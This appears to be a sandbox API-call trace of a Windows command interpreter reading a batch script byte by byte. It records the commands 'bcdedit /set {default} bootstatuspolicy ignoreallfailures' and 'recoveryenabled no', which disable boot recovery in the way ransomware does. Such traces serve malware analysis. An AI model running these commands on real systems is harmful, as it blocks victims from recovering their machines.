	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c40, cchWideChar=1 | out: lpWideCharStr="/set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c42, cchWideChar=1 | out: lpWideCharStr="set {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c44, cchWideChar=1 | out: lpWideCharStr="et {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c46, cchWideChar=1 | out: lpWideCharStr="t {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.589] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.589] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.589] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.589] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c48, cchWideChar=1 | out: lpWideCharStr=" {default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4a, cchWideChar=1 | out: lpWideCharStr="{default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4c, cchWideChar=1 | out: lpWideCharStr="default} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c4e, cchWideChar=1 | out: lpWideCharStr="efault} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c50, cchWideChar=1 | out: lpWideCharStr="fault} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c52, cchWideChar=1 | out: lpWideCharStr="ault} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.590] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.590] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c54, cchWideChar=1 | out: lpWideCharStr="ult} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.590] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.590] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c56, cchWideChar=1 | out: lpWideCharStr="lt} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.591] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.591] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c58, cchWideChar=1 | out: lpWideCharStr="t} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.591] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.591] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5a, cchWideChar=1 | out: lpWideCharStr="} bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.591] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.591] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5c, cchWideChar=1 | out: lpWideCharStr=" bootstatuspolicy ignoreallfailures\n") returned 1
	[0232.591] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.591] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c5e, cchWideChar=1 | out: lpWideCharStr="rootstatuspolicy ignoreallfailures\n") returned 1
	[0232.591] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.591] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.591] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.591] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c60, cchWideChar=1 | out: lpWideCharStr="eotstatuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c62, cchWideChar=1 | out: lpWideCharStr="ctstatuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c64, cchWideChar=1 | out: lpWideCharStr="ostatuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c66, cchWideChar=1 | out: lpWideCharStr="vtatuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c68, cchWideChar=1 | out: lpWideCharStr="eatuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.592] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6a, cchWideChar=1 | out: lpWideCharStr="rtuspolicy ignoreallfailures\n") returned 1
	[0232.592] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.592] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.592] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.593] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6c, cchWideChar=1 | out: lpWideCharStr="yuspolicy ignoreallfailures\n") returned 1
	[0232.627] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.627] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.627] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c6e, cchWideChar=1 | out: lpWideCharStr="espolicy ignoreallfailures\n") returned 1
	[0232.627] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.627] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.627] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c70, cchWideChar=1 | out: lpWideCharStr="npolicy ignoreallfailures\n") returned 1
	[0232.627] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.627] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c72, cchWideChar=1 | out: lpWideCharStr="aolicy ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c74, cchWideChar=1 | out: lpWideCharStr="blicy ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c76, cchWideChar=1 | out: lpWideCharStr="licy ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c78, cchWideChar=1 | out: lpWideCharStr="ecy ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7a, cchWideChar=1 | out: lpWideCharStr="dy ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7c, cchWideChar=1 | out: lpWideCharStr="  ignoreallfailures\n") returned 1
	[0232.628] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.628] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.628] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c7e, cchWideChar=1 | out: lpWideCharStr="nignoreallfailures\n") returned 1
	[0232.629] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.629] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.629] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c80, cchWideChar=1 | out: lpWideCharStr="ognoreallfailures\n") returned 1
	[0232.629] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.629] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.629] ReadFile (in: hFile=0x228, lpBuffer=0x7ff683589970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc90e98f928, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesRead=0xc90e98f928*=0x1, lpOverlapped=0x0) returned 1
	[0232.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff683589970, cbMultiByte=1, lpWideCharStr=0x7ff683593c82, cchWideChar=1 | out: lpWideCharStr="\nnoreallfailures\n") returned 1
	[0232.629] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.629] GetFileType (hFile=0x228) returned 0x3
	[0232.629] _get_osfhandle (_FileHandle=0) returned 0x228
	[0232.629] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0232.629] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.629] GetFileType (hFile=0x234) returned 0x3
	[0232.629] _get_osfhandle (_FileHandle=1) returned 0x234
	[0232.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} recoveryenabled no\n", cchWideChar=-1, lpMultiByteStr=0x7ff683589970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} recoveryenabled no\n", lpUsedDefaultChar=0x0) returned 43
	[0232.629] WriteFile (in: hFile=0x234, lpBuffer=0x7ff683589970*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc90e98f8c8, lpOverlapped=0x0 | out: lpBuffer=0x7ff683589970*, lpNumberOfBytesWritten=0xc90e98f8c8*=0x2a, lpOverlapped=0x0) returned 1
	[0232.629] GetProcessHeap () returned 0x1d2f7770000
	[0232.629] RtlAllocateHeap (HeapHandle=0x1d2f7770000, Flags=0x8, Size=0x4012) returned 0x1d2f7778380
	[0232.629] GetProcessHeap () returned 0x1d2f7770000
	[0232.629] RtlFreeHeap (HeapHandle=0x1d2f7770000, Flags=0x0, BaseAddress=0x1d2f7778380) returned 1
	[0232.630] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0232.630] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0232.630] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0232.630] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
